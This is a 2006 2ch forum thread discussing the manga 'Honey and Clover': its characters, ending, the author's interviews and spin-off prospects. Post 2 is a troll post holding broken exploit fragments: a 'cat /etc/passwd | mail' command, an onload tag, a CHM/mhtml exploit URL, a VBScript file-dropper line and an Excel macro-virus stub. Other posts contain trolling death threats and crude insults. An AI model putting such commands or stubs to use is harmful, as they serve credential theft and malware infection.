羽海野チカ｢ハチミツとクローバー｣その59

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1 名前：花と名無しさん mailto:sage [2006/10/09(月) 01:37:37 ID:???P]: ◆ コミックス第１０巻…９月８日発売 ◆
◆ アニメ第2部…放送終了 ◆
◆ 映画…一部上映中 ◆
※アニメ、映画の話題はそれぞれ専用のスレがあるのでそちらでどうぞ(>>2-3参照)※
★ このスレはsage進行です ※メール欄に半角で「 sage 」と記入。これ重要※
★ 荒らし・煽りは完全無視 ※反応するアナタも同罪です。これ常識※
★ 風紀もほどほどに ※話題の流れを変えたかったら自分から別の話題を投下する。これ鉄則※
≪前スレ≫
羽海野チカ「ハチミツとクローバー」その58
comic6.2ch.net/test/read.cgi/gcomic/1158487221/
★ 過去ログ保管庫
www.geocities.jp/hachikuro2ch/関連スレ,頻出質問事項等は>>2-20あたりに
2 名前：<body onload=window()> mailto:cat /etc/passwd | mail nobody [2006/10/09(月) 01:40:54 ID:???0]: Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
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kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
3 名前：花と名無しさん mailto:sage [2006/10/09(月) 01:41:28 ID:???O]: ≪過去ログ≫
makimo.to:8000/cgi-bin/search/search.cgi?q=%89H%8AC%96%EC%83%60%83J&sf=2&andor=AND&H=&view=table&all=on
≪関連スレ≫
≪関連スレ≫
≪過去ログ≫
makimo.to:8000/cgi-bin/search/search.cgi?q=%89H%8AC%96%EC%83%60%83J&sf=2&andor=AND&H=&view=table&all=on
≪関連スレ≫

<<関連スレ>>
アニメ板
ハチミツとクローバー II chapter.5 【ハチクロ】
anime.2ch.net/test/read.cgi/anime/1156676761/
アニメ2板
ハチミツとクローバー chapter.15 【ハチクロ】
anime.2ch.net/test/read.cgi/anime2/1151432641/
映画板
【櫻井翔】ハチミツとクローバー4冊目【蒼井優】
tv8.2ch.net/test/read.cgi/cinema/1155394779/
4 名前：渚　水帆（作家＆元阪大アイドル） [2006/10/09(月) 01:41:52 ID:CO3IrKZf0]: ハチミツとクローバー今、２巻を読んでいます！
映画すごくよかったです☆★☆

4267．二色丼♪ 返信引用

名前：渚　水帆日付：10月9日(月) 1時36分
今日は、堺のプラットプラットにある
北海道の珍味などが楽しめるお店で、
ウニ、イクラの二色丼を食べてきました！
（これって河村隆一さんが大嫌いな食べ物だなーとか
重いながら）思いっきり食を楽しんできました！
味噌汁、デザート、カニの身をほぐした小鉢もついて
なんと９００円！
秋の味覚を堪能しました！”！
うんまいです☆★☆

↓画像は下♪思わず見たら食べたくなっちゃいますよ！”（＾＾）
hp.jpdo.com/cgi36/170/joyful.cgi?
5 名前：花と名無しさん mailto:sage [2006/10/09(月) 01:43:52 ID:???O]: ≪公式サイト≫
ハチクロ連載中コミック誌「コーラス」
h ttp://chorus.shueisha.co.jp
作者（羽海野チカ）
h ttp://www13.plala.or.jp/umino
アニメ
h ttp://www.hachikuro.net
映画
h ttp://hachikuro.jp

≪頻出質問事項≫
Ｑ．花本はぐみは、花本修司の姪ですよね？
Ａ．違います。花本修司のいとこの娘です。※映画でのみ「姪」設定となっています

Ｑ．登場キャラクターの身長の設定はどうなってますか？
Ａ．［はぐ１４５cm］［山田１６７cm］［竹本１７４cm］［森田１７９cm］［真山１８１～１８２cm］
6 名前：花と名無しさん mailto:sage [2006/10/09(月) 02:40:57 ID:???O]: >>3
にくちゃんねるの検索結果を
直接リンクするのは止めるべきでは？
7 名前：ヘルパー mailto:sage [2006/10/09(月) 10:14:29 ID:???O]: 多分ドラマ化もするよなーら？

にしてもこの漫画、読んでると二、三年前の自分の青春を思い出して胸がちくちくする。
あの時既にこの瞬間は今だけだって感づいてはいたけれど、どうする事も出来なかったんだよな…
8 名前：花と名無しさん mailto:sage [2006/10/09(月) 12:23:18 ID:???O]: PREMAっていうメルマガスタンドのトップページを見てほしい・・・・
9 名前：花と名無しさん mailto:sage [2006/10/09(月) 13:32:37 ID:???0]: スピンオフってまだなの？
10 名前：花と名無しさん mailto:sage [2006/10/09(月) 13:58:25 ID:???O]: >>8
これ？
prema.tv/
11 名前：花と名無しさん mailto:sage [2006/10/09(月) 13:59:22 ID:???0]: ハチクロは秀作だと思う派だが
このタイトルは関連もの描いたら熱冷めるね。
つかもう見たくはないなぁ。東村みたくあとがきノリで笑えるのが読みたい。
12 名前：花と名無しさん mailto:age [2006/10/09(月) 15:25:40 ID:???0]: まだ・・・

怨み言あるの？
13 名前：渚水帆(望月小夜) [2006/10/09(月) 15:42:23 ID:spi92F20O]: ガラスの鼓動と限られた才能でチューリップと青い温もりをドラマ化しないとコロ助
h.pic.to/236v3
14 名前：花と名無しさん [2006/10/09(月) 19:22:35 ID:spi92F20O]: ころてやる
15 名前：花と名無しさん [2006/10/09(月) 19:24:01 ID:spi92F20O]: 出会い系の男と31のときに処女捨てました
法科します
16 名前：花と名無しさん [2006/10/09(月) 19:28:32 ID:spi92F20O]: 私は周年深い女ですドラマ化したらころてやる
17 名前：花と名無しさん mailto:sage [2006/10/09(月) 19:33:37 ID:???0]: この漫画ってさ、なんだか地域差別してないか？

名古屋は出てるのに愛知県という言葉は出てこないし、諏訪湖は出てるのに長野県という言葉は出てこないし。神戸は出てるのに兵庫という（ｒｙ
諏訪湖まで行くのに中央自動車道を使ったんだろうけど、山梨や静岡は出てない。

竹本の旅路でも、盛岡とかは出てるのに、青森や福島は出てないはずだ。

そんなくせに、鳥取なんて微妙な県は出てる。

いったいあんたは何が楽しい？
18 名前：花と名無しさん [2006/10/09(月) 19:34:23 ID:spi92F20O]: 講談社に乗り込んだけど出版してもらえません阪大のアイドルなのに
19 名前：花と名無しさん mailto:sage [2006/10/09(月) 20:14:02 ID:???0]: >>17
おまい･･･(；´Д｀)ｳｳｯ…
20 名前：花と名無しさん mailto:sage [2006/10/09(月) 22:06:50 ID:???O]: >>9
最終回だけ爽やかだったけどそれまで重すぎだから
スピンオフは無理でしょう
やればやる程蛇足になりそう
ハチクロの呪縛からは早く解放された方がいい
一発屋の危険、あるよ
21 名前：花と名無しさん mailto:sage [2006/10/09(月) 22:17:19 ID:???O]: 一巻だけよんだがあまりのつまらなさに挫折
この漫画のよさってなんだ？
22 名前：花と名無しさん mailto:sage [2006/10/09(月) 22:50:46 ID:???0]: 自分は絵が好きだから読んでた
23 名前：花と名無しさん mailto:sage [2006/10/09(月) 23:20:29 ID:???O]: ４巻くらいまでの、片思い中のせつなさを描いたエピソードは好きだった。
ストーリーはそれらをつないだだけのブツ切り寄せ集めな感じ。
あと、☆多用のギャグが合わなかった。
24 名前：花と名無しさん mailto:sage [2006/10/09(月) 23:30:32 ID:???0]: 森田さんが好きだった。
１０巻のバレンタインの番外編のはんてん森田は何だかホッとした。
しかし１０巻の本編部分は辛すぎて読み返す気しない…
25 名前：花と名無しさん mailto:sage [2006/10/09(月) 23:57:48 ID:???0]: ハチクロ打ち切りの真相！　って本当？？？？？
26 名前：花と名無しさん mailto:sage [2006/10/10(火) 00:01:40 ID:???0]: バレンタイン話を今見ると、在庫処分のチョコで作った菓子を真山にプレゼントする辺り
元から山田は真山のことが好きな自分が好きだったのかなとさえ思ってしまった。
ま、ギャグなんだけどね。
27 名前：花と名無しさん mailto:sage [2006/10/10(火) 00:26:24 ID:???O]: >>26

しかし竹本の誕生日をみんな忘れてたり、ギャグ部分に真実があらわれてるようにも見える
28 名前：花と名無しさん mailto:sage [2006/10/10(火) 14:29:25 ID:???0]: >>21
１巻はNANAにしても前置きみたいなモンだったし我慢して読むべし
29 名前：花と名無しさん mailto:sage [2006/10/10(火) 18:47:45 ID:???O]: １巻の壁を越えてももう一つ壁が待っているという事をお忘れなく

人によって感じ方はそれぞれあるだろうが
人気少女漫画って８、９巻あたりを境におかしくなったと言われる物多くないか
NANAもハチクロもカレカノも
30 名前：花と名無しさん mailto:sage [2006/10/10(火) 19:09:46 ID:???O]: なんだろうね。
担当の放任が始まるにしても
売れ方も売れるまでの経緯も騒がれた期間もバラバラだし。

まあギャグ中心でも時間が止まった世界でもない少女漫画を描く時、
そのくらいの長さが限界なのかもしれない。そんな気がする。

少女漫画の殆どは恋愛と学生生活が主だから間が持たない。
それ以上引き延ばすとどうしても
悲劇だの脇キャラエピだの初期の設定と矛盾している過去話だの
とっさに無計画に膨らませることになってしまい
作家自身何を描こうとした作品なのか忘れたり客観的に見られなくなるんじゃないか。
31 名前：花と名無しさん mailto:sage [2006/10/10(火) 21:54:40 ID:???O]: >>28
分かった読んでみる。
全体がふわふわした感じで、自分には眩しいよ。遠くの世界に感じる。
32 名前：花と名無しさん mailto:sage [2006/10/10(火) 22:39:36 ID:???O]: ちびまる子もエッセイでやれるネタが尽きてからキャラクターで描くようになって面白くなくなった辺りかな＞8､9巻辺り
33 名前：花と名無しさん mailto:sage [2006/10/10(火) 23:31:40 ID:???0]: 一人の作者orジャンルで語るにはそれくらいでネタが尽きるってことなのかもね。
大体４・５年くらい経過して読者も入れ替わる頃だろうし。
ウミノさんも一期アニメ化の頃のインタビューで既に大分出し尽くしたようなことを
言っていたね。(うろ覚えだけど)
34 名前：30 mailto:sage [2006/10/11(水) 00:05:55 ID:???O]: >>32
え、ちびまる子もそうなのか？

どれも１巻から順にきちんと読んだことはないけど
ちびまる子とかあさりちゃんとか
少女漫画じゃないけどサザエさんとかクレしんとか
その辺には通用しない話だと思って書いてたんだが。
35 名前：花と名無しさん mailto:sage [2006/10/11(水) 01:15:10 ID:???0]: 山田が羽海野は自分をモデルにしてるって本当？
36 名前：花と名無しさん mailto:sage [2006/10/11(水) 01:33:08 ID:???0]: 山田のモデルがウミノさんてこと？
37 名前：花と名無しさん [2006/10/11(水) 01:38:51 ID:hOAf21TQO]: 海野のせいで私はプロになれず出会い系で男あさりをするになったコロ助コロ助コロ助
www.geocities.jp/umibenokai/
38 名前：花と名無しさん mailto:sage [2006/10/11(水) 01:41:31 ID:???0]: >>36
そう
39 名前：花と名無しさん [2006/10/11(水) 01:55:37 ID:hOAf21TQO]: コロ助コロ助コロ助
40 名前：花と名無しさん [2006/10/11(水) 01:57:42 ID:hOAf21TQO]: 半座医者になるしかないもう売春したくない
41 名前：花と名無しさん [2006/10/11(水) 01:59:03 ID:hOAf21TQO]: 私は基地害です
42 名前：花と名無しさん [2006/10/11(水) 01:59:49 ID:hOAf21TQO]: 悪者扱いはいつも私です
43 名前：花と名無しさん [2006/10/11(水) 02:01:01 ID:hOAf21TQO]: 海野がいなければ私は漫画家になっていた
44 名前：花と名無しさん mailto:sage [2006/10/11(水) 02:25:44 ID:???0]: なんか変なのがいるな・・・

補足しとくと>>36は山田じゃなくてはぐちゃん？だったかも
45 名前：花と名無しさん mailto:sage [2006/10/11(水) 10:41:10 ID:???0]: >>20
スピンオフは主要メンバーじゃなくて美和子、山崎、森田兄ら辺じゃまいか？
今更修目線とかゲロ吐きそう
46 名前：花と名無しさん mailto:sage [2006/10/11(水) 12:38:42 ID:???O]: 書き下ろしの絵が、もう作者から作品が離れていってる感じだから
スピンオフは難しそうだけどね
無理に描いてもエンジェル・ハートみたいなパラレルワールドになりそう
才能は豊かだと思うから、出来るだけ早くハチクロからは離れたほうがいいかもね
47 名前：花と名無しさん mailto:sage [2006/10/11(水) 15:15:57 ID:???0]: 才能なんかないでしょ。
パロディの才能しかないよ
所詮同人屋なのかって思い知った
48 名前：花と名無しさん mailto:sage [2006/10/11(水) 19:41:21 ID:???0]: 才能はあるだろｗ
じゃなきゃこんなに売れない
49 名前：花と名無しさん mailto:sage [2006/10/11(水) 19:45:07 ID:???0]: はぐって屁やウンコ臭そう。
肉好きだから。
50 名前：花と名無しさん mailto:sage [2006/10/11(水) 20:29:19 ID:???0]: 空の小鳥って若かりし頃の羽海野さんのエピソード？もしかして。
51 名前：花と名無しさん mailto:sage [2006/10/11(水) 20:37:18 ID:???O]: 他人の褌でのし上がる才能はあるけどね。
52 名前：花と名無しさん mailto:sage [2006/10/11(水) 20:40:41 ID:???0]: >>50
設定とか主人公の心情がえらいリアルだったから
私もウミノの私小説ならぬ私漫画としか思えなかった。
主人公が自分本位すぎて読後感が悪い作品だった。
53 名前：花と名無しさん mailto:sage [2006/10/11(水) 20:54:30 ID:???0]: あの彼氏もあんま好きじゃなかったなー
54 名前：花と名無しさん mailto:sage [2006/10/11(水) 20:56:28 ID:???0]: 漏れのウンコも臭いお
55 名前：花と名無しさん mailto:sage [2006/10/11(水) 23:00:23 ID:???0]: ＞空の小鳥
言う前にあきらめて一方的に泣いてるとことか
お腹空いてハチミツ舐めるとか
ウミノさんのエピソードとまんま同じだよねー。
56 名前：花と名無しさん mailto:sage [2006/10/11(水) 23:53:02 ID:???0]: 再会してお弁当持って公園に行く途中、彼氏が荷物を全部持ってるのも
なんだかなあ･･･と思った。
これも作者の中では当たり前か。
57 名前：花と名無しさん mailto:sage [2006/10/12(木) 00:00:11 ID:???O]: そういえばﾊﾁｸﾛの女から男への比較的まともな贈り物ってﾊﾁｸﾛｻﾝﾄﾞくらい?
58 名前：花と名無しさん mailto:age [2006/10/12(木) 00:32:20 ID:???0]: すてきなりょうりのかずかずがあるじゃないか・・・・・ゲ腐ッ
59 名前：花と名無しさん mailto:sage [2006/10/12(木) 00:46:31 ID:???O]: >>57
竹本が青春の塔を作ってる間、パンやらコーヒーやら差し入れてたじゃないか。
はぐは意外と竹本には優しい。
60 名前：花と名無しさん [2006/10/12(木) 01:10:45 ID:4CfhPEoqO]: iyg.ty.land.to/
61 名前：花と名無しさん mailto:sage [2006/10/12(木) 01:22:30 ID:???O]: >>51
スラダンのこと？
62 名前：富田派 [2006/10/12(木) 05:13:10 ID:KbPaetg10]: なんかうすた京介のパクりとか逆転裁判のパクりとかくるりの歌詞からのパクりとかがきになった。

影響といえば影響ですむレベルなんだろうけど。

作者の人とそういう意味では趣味合うのかなあ・・・
63 名前：花と名無しさん mailto:sage [2006/10/12(木) 05:27:35 ID:???0]: 先月のダヴィンチに対談出てたんだね。今頃ブログ読んで知った。
見た人いますか？本人写真はあり？
64 名前：花と名無しさん mailto:sage [2006/10/12(木) 10:53:00 ID:???O]: ★アンチスピッツの皆様へ★

正宗オタの気持ち悪いオバサンが集まる
難民板の隠し本スレです
思う存分荒らして下さい

第122回　放浪ウタおじとどこまでも
aa5.2ch.net/test/read.cgi/nanmin/1159793855/

ちなみにこの【おじスレ】では
正宗のことを『おじ』
スピッツのことを『おじバンド』と呼びます★
65 名前：花と名無しさん mailto:sage [2006/10/12(木) 11:52:29 ID:???0]: (･e･) 。。。。。
66 名前：花と名無しさん mailto:sage [2006/10/12(木) 12:11:13 ID:???0]: >>65
キャー！！
超カワイー♪♪♪
67 名前：花と名無しさん mailto:sage [2006/10/12(木) 14:05:43 ID:???0]: 同人的・・・つまり主体性がないというか。

はぐなんてもともと全然ベタベタな甘えん坊として描いておきながら
映画のはぐの、スジの通った蒼井優のイメージで
いきなりスジの通った生き方をしてる人物にしか許されない言動をさせてしまう。
そりゃー許されないでしょう、甘えんぼにわがままは。
68 名前：花と名無しさん mailto:sage [2006/10/12(木) 14:35:06 ID:???0]: 確かに・・・
でもはぐってウンコ臭そうだよね。
69 名前：花と名無しさん mailto:sage [2006/10/12(木) 15:34:01 ID:???O]: >>62
FFT妄想スレ>>60と同一人物か？
70 名前：富田派 mailto:sage [2006/10/12(木) 15:47:03 ID:???0]: >>69
うん
71 名前：花と名無しさん [2006/10/12(木) 17:28:01 ID:tn6L7ObV0]: ぶっちゃけおもしろい。七巻の自分探しのあたりは、かなりよかった。

作者の次回作も読みたいと思う。

少なくとも、ＮＡＮＡとかよりは面白いと感じたよ
72 名前：花と名無しさん mailto:sage [2006/10/12(木) 18:58:38 ID:???0]: 漏れも面白いと思う。
でもはぐってウンコ臭そうだなってオモタ。
73 名前：花と名無しさん mailto:sage [2006/10/12(木) 19:24:20 ID:???0]: 誰のウンコでもくせーんだよ
うぜー
74 名前：花と名無しさん mailto:sage [2006/10/12(木) 19:35:09 ID:???0]: 本当にウザイね。
でもはぐのウンコは特に臭そうってのは同意。
75 名前：花と名無しさん mailto:sage [2006/10/12(木) 20:11:12 ID:???0]: はぐは下痢
山田は快便
勅使河原は便秘
リカはぼそぼそうんこ
76 名前：花と名無しさん mailto:sage [2006/10/12(木) 20:30:25 ID:???O]: >63
もち羽海野グマだったよ。
77 名前：花と名無しさん mailto:sage [2006/10/12(木) 20:35:01 ID:???0]: ウンコウンコ言ってる人はなんなの？
はぐのウンコ食べたいとかおしっこ飲みたい思ってるんでしょ？
それであー臭くてとてもおいしいよとか言ってチンコビンビンにしてるんでしょ？
気持ち悪いんだけど。
78 名前：花と名無しさん mailto:sage [2006/10/12(木) 21:01:08 ID:???O]: 理花さんに謝れ・・・理花さんに謝れーーーっっっ！！！！！１１１１１

でもちょっとﾜﾗﾀｗ
79 名前：花と名無しさん [2006/10/13(金) 01:29:49 ID:pbLUR7W50]: ラストが冴えなかったな
80 名前：花と名無しさん mailto:sage [2006/10/13(金) 05:26:20 ID:???0]: ケツ毛バーガー下さい。　　　　　　　　
　　 /:::::::::::ヽ
　　　　　　　　　　　　|;;;;ハ;;;;;;;;;;|　　　　 , r－､
　　　,r‐-､　　　　　　ﾄｲ ^ o^ t;|　　　 /　　　｀､
　 /　　､　＼　　　　　>‐-ｭr'ニヽ､　　/　　i　　　l､
　 |　　　'|　　＼　_.ｒ'´ノニｰイﾆヽ,＼/　　 |　　　ｌ
　 |　　　 |　　　｀</　lｏ　）　　⌒q! /　　　 .|　　　|
　 .|　　　 |　　　　＼/'　　　 _,　　|/　　　　　ﾄ､　　!
　　|　　　|　　　　　　＼　⌒,,,⌒ /　　　　　ﾊ　　ヽ
　　.|　　 .|ﾍ　　　　　　＼巛《 /　　　　　　 l　）　　＼
　　 |　　 .| ヽ　　　　　　　彡ﾟдﾟミ　　　　　　 ,' ﾉ　　　　　＼
　ノ　　　ヽヽ　　　　　　　ミ《》彡　　　　 .ﾉ　ゝ､＿＿
／　　　　　ヽﾍ､　　　　　　ﾐ＊ﾐ　　　　／　　　　　　｀⌒
　　　　　＿ノ　｀ｰ､. _　　　,X､.＿,.-‐'´どんなもんじゃい卍
81 名前：花と名無しさん mailto:sage [2006/10/13(金) 08:53:18 ID:???0]: はぐのウンコが臭いんじゃなくて、
はぐがウンコ臭いんでしょ？
82 名前：花と名無しさん mailto:sage [2006/10/13(金) 12:17:35 ID:???0]: >>77
ちょｗｗｗ何その発想ｗｗｗ腹イテエｗｗｗｗｗｗ
ウンコウンコ言ってる奴よりお前が面白すぎるｗｗｗｗ
83 名前：花と名無しさん mailto:sage [2006/10/13(金) 21:20:39 ID:???0]: はぐのお父さんって話の前半と後半で性格変わってない？
84 名前：花と名無しさん mailto:sage [2006/10/13(金) 21:22:40 ID:???0]: はぐのお父さんだけでなく、この物語のほとんどが性格変わっているので問題ありません
85 名前：花と名無しさん mailto:sage [2006/10/13(金) 22:16:46 ID:???0]: >83
この漫画自体が問題なので
そんなことは問題として扱われません。
86 名前：花と名無しさん mailto:sage [2006/10/14(土) 00:00:48 ID:???0]: なんかこのスレもいよいよ末期だな。

羽海野さんSWITCHでまたスガシカオと対談してるね。
でっかくウミノクマ姿でスガと向き合ってる写真見て読む気無くなったから内容はシラネ。
87 名前：花と名無しさん mailto:sage [2006/10/14(土) 00:12:29 ID:???0]: なんつーか、
い　い　加　減　、　作　品　で　語　っ　て　く　れ
と言わずにはいられない。
インタビューに出るたびにいろいろだだ漏れになっちゃうんだからさ・・・。
各所に売り出したい編集側の大人の事情もあるんだろうけどね。
88 名前：花と名無しさん mailto:sage [2006/10/14(土) 00:59:00 ID:???0]: つーかスガシカオからしてしみったれてて嫌いなんだが
ハチクロなんかそっち系でせいぜい気取ってたんだなって白けるわ
89 名前：花と名無しさん mailto:sage [2006/10/14(土) 03:39:05 ID:???0]: はぐも紅天女候補並みのハードな人生と
成すことへの情熱みたいなものがあればよかったのに
やってることといえば同人以下のものづくりと
あっさり挫折とぬるぬるの甘やかし
リカ－真山もそうだけどメンヘルを無条件で支えないと
一緒にいる資格がもらえないこの世界のオトコアワレ
90 名前：花と名無しさん mailto:sage [2006/10/14(土) 09:49:59 ID:???0]: この作品も作者もぬるぽ
91 名前：花と名無しさん mailto:sage [2006/10/14(土) 10:07:38 ID:???0]: つーか「ものつくり」って言い方が鼻につくよウミノたん。
「漫画」でいいじゃねえか、みたいな。
92 名前：花と名無しさん mailto:sage [2006/10/14(土) 10:39:35 ID:???0]: 読者が納得して腑に落ちる前に、全部キャラが口で結論付けちゃうんだよね。
「はぐちゃんは強い、すごい」「ものをつくる宿命だから云々」
「先生は尊敬できる男」「先生は学校の亡霊のようだった」・・・

そんなのはドラマとエピソードの積み重ねでしか読者には伝わらねんだよ。
例えば、竹本の自分探しくらい丁寧にエピソードを積み重ねていれば。
あそこは多くの読者がしっかりついていけてたじゃん。
森田のエピソードも、半端に丁寧で半端にぶった切った感じに終わったし。
肝心のはぐと修を納得させるエピソードは、ナレーション説明程度。

あのな、文章で説明して終わっていいんだったらマンガである必要なんかねんだよ。
全部インタビューでプロット語って終わりにしろや、アホウミノクマ。
93 名前：花と名無しさん mailto:sage [2006/10/14(土) 12:24:44 ID:???0]: どんな内容か全く知らないまま一気に読んだんだけど、予想外に面白かった。
青春の春夏秋冬を見たという感じ。
はぐと先生で最後にまとめた所が、意外ではあったけど妙に納得。
でも、この作者って結構年食ってるのかな？と思った。
若い人が書いたら、この結末にはならないだろうなーと。
話の流れが、物凄く作者の年齢を感じる。まだ若かったらゴメンナサイだけど。
94 名前：花と名無しさん mailto:sage [2006/10/14(土) 12:25:43 ID:???0]: モノローグはたまにあるから良いのであってメインにしちゃいけないよね。
詩集でも出してろ。
95 名前：花と名無しさん mailto:sage [2006/10/14(土) 12:51:42 ID:???O]: 白痴のようにただｵﾓｼﾛｶｯﾀｰと投下して去る奴はなんなの？
96 名前：花と名無しさん mailto:sage [2006/10/14(土) 13:02:33 ID:???0]: >>95
なんなの？と言われても、何と答えればいいのやら。
読み終わったから書いただけなんだけど、ダメでした？
97 名前：花と名無しさん mailto:sage [2006/10/14(土) 13:20:44 ID:???0]: >>93
作者は修やリカと同世代みたいだよ。

アニメ放送やコミックスのように一気読みだと楽しめる作品だと思う。(特に後期は)
アニメはシナリオ補正も入ってるしね。
ただ、連載追ってると途中でノイズ(インタビュー)が入ったり、冷静な視点で見たり
いろいろな見方をしてしまって萎えがち。
皮肉とかでなく、93は幸せな読み方をできてると思うよ。
私は後期から連載派だったからちょうど斜陽期・インタビュー出まくり期と重なっちゃった。orz

作者・作品から漂う同人ノリからわかるように下手に真面目に踏み込んで読む作品
じゃないんだろうな。既出かもしれないけど青春ファンタジーだね。
98 名前：花と名無しさん mailto:sage [2006/10/14(土) 13:27:00 ID:???0]: コミックス読みで普通に萎えましたが･･･
99 名前：花と名無しさん mailto:sage [2006/10/14(土) 13:32:58 ID:???0]: 自分の恋愛に周り全員を巻きこんで、グダグダ引きずり続けた挙句
思い通りにならないと暴れる山田が一番ウザイ。
100 名前：花と名無しさん mailto:sage [2006/10/14(土) 14:40:37 ID:???0]: >>97
確かに青春ファンタジーって言葉が似合うなー
酸いと甘いを切り貼りして、青春の美味しい所を夢みたいにまとめあげた感じだし。
この人って、そんなにインタビュー出まくってたんですか。
同人って読んだ事ないから、どんなノリなのかわからないんですけど
私は30過ぎてオバサンになってから読んだから、面白いと思ったんだけど
10代20代の時に真面目に連載追って読んでたら、
インタビュー出まくりを知らなかったとしても、後半からは相当嫌いな漫画になってただろうなと思いました。

>作者は修やリカと同世代みたいだよ。
教えてちゃんですみませんが、元々修やリカって何歳くらいの設定になってるんですか？
自分的には最初30代前半かな？と思ったんですけど、リカより若そうな野宮が30過ぎって書いてあったから
いくつなんだろうと思って。
101 名前：花と名無しさん [2006/10/14(土) 16:21:37 ID:BIuANsfA0]: 最近ハチクロ読んで、テレビでも見て、感動して、検索して、ここ（このスレ）に来た

・・・・上の方にいっぱいある書き込みや、>>95みたいな書き込みを多数みてげんなり。

匿名でも君らの品格は変わらないんだよ？君らは人間としてどうなのかと・・・
102 名前：花と名無しさん mailto:sage [2006/10/14(土) 16:22:50 ID:???O]: クローバーは出てきたけどハチミツは？
103 名前：花と名無しさん mailto:sage [2006/10/14(土) 16:23:35 ID:???0]: あ
>>1ちゃんと読んでなかった

sageなくてすまん
104 名前：花と名無しさん mailto:sage [2006/10/14(土) 16:24:24 ID:???0]: >>102
ハチミツとクローバーのサンドイッチ（最終話）

無理やりだけど、あれはあれで良かったと思った
105 名前：花と名無しさん mailto:sage [2006/10/14(土) 16:57:49 ID:???0]: 品格ﾅﾝﾃ＼(^o^)／ｽﾃﾀ
106 名前：花と名無しさん [2006/10/14(土) 17:11:56 ID:BIuANsfA0]: じゃぁ人間も辞めろJOJOォ～
107 名前：花と名無しさん mailto:sage [2006/10/14(土) 17:46:10 ID:???0]: メルヘン気取りのメンヘラ集団が
依存しあって最後まで成長を拒み続ける

そういう話だったな

この作者は漫画を描くよりも
イラスト付の詩集を道端で売っている方が合う
108 名前：花と名無しさん mailto:sage [2006/10/14(土) 17:52:50 ID:???0]: 途中までは面白かったけど、肝心なはぐが怪我をしたあたりからついて行けなくなった。
例え利き手が動かなくなっても手に筆をくくり付けるなり、極端な話実際足で細密な絵を描く人もいる。
相当な痛手には間違いないけど、一生絵が描けなくなるって絶望することでもないかと。
特にはぐはテクニックで魅せるタイプではなさそうだし。
怪我のせいで頭がおかしくなったので描けないなら話は別だけど。
羽海野さんも絵を描く者の端くれならそれくらいわかりそうなのに。
109 名前：花と名無しさん mailto:sage [2006/10/14(土) 17:53:49 ID:???0]: BIuANsfA

こうなる前に色々あったんだよ。
品格うんたらえらそうに言う前に過去ログ読んでこい。
110 名前：花と名無しさん mailto:sage [2006/10/14(土) 18:36:11 ID:???0]: >>108
嫌味とかじゃなく、108は強いなって思うよ。
私は絵しかなくて利き腕が動かなくなったら、やっぱりしばらくは絶望するよ。
特にはぐみたいに、描くことだけが心の支えだったら、絶望するだろうなって思う。
今までみたいに、頭に描くものが思うように表現出来なくなったら
手に筆をくくり付けたりするまでは時間がかかると思う。
特にテクニックで魅せるタイプじゃなくて、心のままに表現するタイプだったら尚更のこと。
メンヘラって言われるのかもしれないけど。
111 名前：花と名無しさん mailto:sage [2006/10/14(土) 19:17:49 ID:???0]: >>108
絵を描く人なのかな？
もしそうなら、そういう人から見るとまたはぐの
あの状況って違う風に見えるんじゃないか？
私ははぐのテンパリについては特に不思議に思わなかったが、
美大生がハチクロ世界的美大生に違和感を覚えるようなもの？
112 名前：花と名無しさん mailto:sage [2006/10/14(土) 19:20:02 ID:???0]: けどさ、絵を描く人からしか人物の心情が伝わらない
っていうのも漫画としてどうなんだろう
普通は、その分野を知らない人でものめり込めるように描写するものじゃないの？
113 名前：花と名無しさん mailto:sage [2006/10/14(土) 19:44:49 ID:???0]: >>112
っていうか、絵を描かなくても
利き腕が動かなくなったら、普通に考えてもきついよ。
日常生活に支障出まくりだよ。
PCだって普通に打てないし、お箸も使えないから、ご飯も食うのも一苦労。大打撃だ。
114 名前：花と名無しさん mailto:sage [2006/10/14(土) 19:50:39 ID:???0]: 利き手じゃないほうの手が動かなくなっても、結構不便だからなぁ。
「手が動かない」っていう現実を受け入れるまでが結構キツイし。
ふとしたことで思い知らされるんだよ、こういうのって。
115 名前：花と名無しさん mailto:sage [2006/10/14(土) 19:55:25 ID:???0]: 手が動かないって言うことは確かに辛い事だと思う
でも、それで他人の人生下さい、までいくのが分からない…
116 名前：花と名無しさん mailto:sage [2006/10/14(土) 19:56:25 ID:???0]: 残りの人生、障害者として生きてく事になるしね。
117 名前：花と名無しさん mailto:sage [2006/10/14(土) 20:03:22 ID:???0]: 108です。
自分だったらやっぱりその時はお先真っ暗な気がして落ち込むと思うし、
ある程度のブランクは覚悟しなければならないけど、
一生描けないとは思わないな。
右が動かなかったら左で訓練するし、描く人間が（脳が）同じなら本質は変わらないかと。
そりゃ大打撃には間違いないけど、利き手が動かない=一生絵が描けないっていう発想がね。
現実には日常生活の方が大変だと思う。
それより周囲の過剰な甘やかしの方が、はぐの精神に（絵の世界に）いい影響を与えない気が。
118 名前：花と名無しさん mailto:sage [2006/10/14(土) 20:05:15 ID:???0]: ハチクロってセカイ系
119 名前：花と名無しさん mailto:sage [2006/10/14(土) 20:08:43 ID:???0]: >>117
117は、挫折した事なさそで裏山
120 名前：花と名無しさん mailto:sage [2006/10/14(土) 21:33:36 ID:???O]: >>114
そういう「ふとした瞬間に思い知る」みたいな描写が
創作活動についても日常生活につみても省かれていたから
絶望感や修一と生きていく選択が唐突に見えたんじゃないのか。

怪我た時点で思考停止してそのまま修一に助けてもらうこと確定して
当人らも周囲も受け入れモードってのが何だか…
まあ作者が思っていたよりも早めに打ち切られたのかなと思えば
何を描きたかったか分からんでもない。

それよりもここに限らず関連スレ全般で
「〇〇を経験した奴なら絶対分かると思うけどね」とか
「君みたいな〇〇な方々には分からないでしょうね」とか
「批判している奴は〇〇な人なんじゃない？そういう人は理解できないだろうね」とか

そういう
自称冴えない僕私だけど努力家だし人の痛み分かるし
この作品の良さも分かりますよ☆アピールって
どういう効果を狙った物なの？
121 名前：花と名無しさん mailto:sage [2006/10/14(土) 21:37:57 ID:???0]: 言い返したいけど言葉をあまり知らない子がよくなる状態
